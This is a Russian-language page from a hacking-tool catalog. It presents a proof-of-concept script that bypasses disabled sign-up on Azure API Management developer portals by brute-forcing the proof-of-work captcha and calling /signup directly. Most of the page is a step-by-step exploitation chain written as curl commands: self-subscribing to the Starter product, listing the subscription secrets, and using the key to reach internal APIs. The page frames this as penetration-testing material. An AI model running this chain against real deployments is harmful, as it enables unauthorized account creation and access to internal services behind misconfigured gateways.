Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Azure-APIM-Dev-Portal-Signup-Bypass — Python-скрипт для обхода регистрации в Azure APIM, когда пользовательский интерфейс отключён; в отличие от CVE-2025-66390, он не требует настройки чего-либо между тенантами. | Kitploit
Инструменты/GitHubGitHub/dz-y/azure-apim-dev-portal-signup-bypass
Аутентификация и авторизацияБезопасность облачной инфраструктурыЭксплуатация веб-приложенийТестирование безопасности APIТестирование на ПроникновениеБезопасность облачных средНеправильная КонфигурацияБезопасность API

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Обход CAPTCHA
GitHubdz-y/azure-apim-dev-portal-signup-bypass

Azure-APIM-Dev-Portal-Signup-Bypass

Python-скрипт для обхода регистрации в Azure APIM, когда пользовательский интерфейс отключён; в отличие от CVE-2025-66390, он не требует настройки чего-либо между тенантами.

Репозиторий
111 месяц назадЕщё не проверено

Скрипт proof-of-concept для обхода отключённой регистрации на портале разработчика в Azure API Management (APIM) путём прямого вызова внутреннего API регистрации.

Что делает

Порталы разработчика Azure APIM могут быть настроены на отключение самостоятельной регистрации через UI портала. В некоторых развёртываниях внутренняя конечная точка API (/signup) остаётся активной и доступной, даже если кнопка в интерфейсе скрыта или удалена. Этот скрипт использует эту брешь, выполняя следующие действия:

  1. Получение proof-of-work (PoW) captcha-задачи из /v2/captcha-challenge
  2. Перебор решения SHA-256 PoW на стороне клиента
  3. Отправка запроса на регистрацию напрямую в /signup с решённой задачей и данными учётной записи

Все входные данные (целевой URL, учётные данные, прокси) запрашиваются интерактивно во время выполнения.

Связь с CVE-2025-66390

CVE-2025-66390 (CVSS 9.8, критический) описывает обход регистрации APIM между арендаторами (cross-tenant): злоумышленник использует арендатора, где регистрация включена, для регистрации учётных записей в другом арендаторе, где регистрация отключена, путём манипуляции заголовком Host в запросах к API. Microsoft классифицировала это как проблему конфигурации, а не уязвимость продукта.

Это не требует создания какого-либо кросс-арендатора, вместо этого просто используется конечная точка /v2/captcha-challenge для решения капчи за 75000 итераций (в среднем)

Использование

root@kitploit:~
python3 apim_signup.py

Запрашивает целевой URL, данные учётной записи, пароль (скрытый ввод, повторяется для подтверждения) и необязательный прокси.

Цепочка эксплуатации после регистрации

После того как запрос на регистрацию успешно выполнен и приходит письмо с подтверждением, полная цепочка атаки выглядит так:

Шаг 1 — Подтверждение email

Перейдите по ссылке подтверждения в письме регистрации. Это активирует учётную запись, после чего management API сможет её аутентифицировать.

Шаг 2 — Аутентификация и получение идентификатора пользователя

Обратитесь к APIM management API с Basic auth (base64(email:password)), чтобы получить ваш внутренний идентификатор пользователя:

root@kitploit:~
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}

Возвращаемое поле id используется во всех последующих вызовах management API.

ИЛИ обратитесь к /developer/identity?api-version=2022-04-01-preview <-- версия не имеет значения Появится UI с запросом на вход, оттуда также можно получить свой id.

image

Шаг 3 — Самостоятельная подписка на продукт

Продукт Starter по умолчанию поставляется с approvalRequired: false, то есть одобрение администратора не требуется. Оформите подписку самостоятельно через PUT:

root@kitploit:~
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>" \
  -H "Content-Type: application/json" \
  -d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created

Письмо с подтверждением («Your subscription to the Starter») приходит с [email protected].

Шаг 4 — Получение ключей подписки

root@kitploit:~
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}

Шаг 5 — Вызов внутренних API

Используйте первичный ключ в качестве заголовка Ocp-Apim-Subscription-Key при обращении к шлюзу APIM для выполнения аутентифицированных вызовов к внутренним API:

root@kitploit:~
curl -s "https://<service>.azure-api.net/<api-path>" \
  -H "Ocp-Apim-Subscription-Key: <primaryKey>"

Доступ определяется тем, какие API привязаны к продукту Starter — в некорректно настроенном развёртывании это может открыть доступ к внутренним сервисам без дополнительной аутентификации.


За дополнительными подробностями: эта статья очень хорошо описывает цепочку, просто исключите часть про cross-tenant. https://www.praetorian.com/blog/azure-apim-signup-bypass/

Скачать инструмент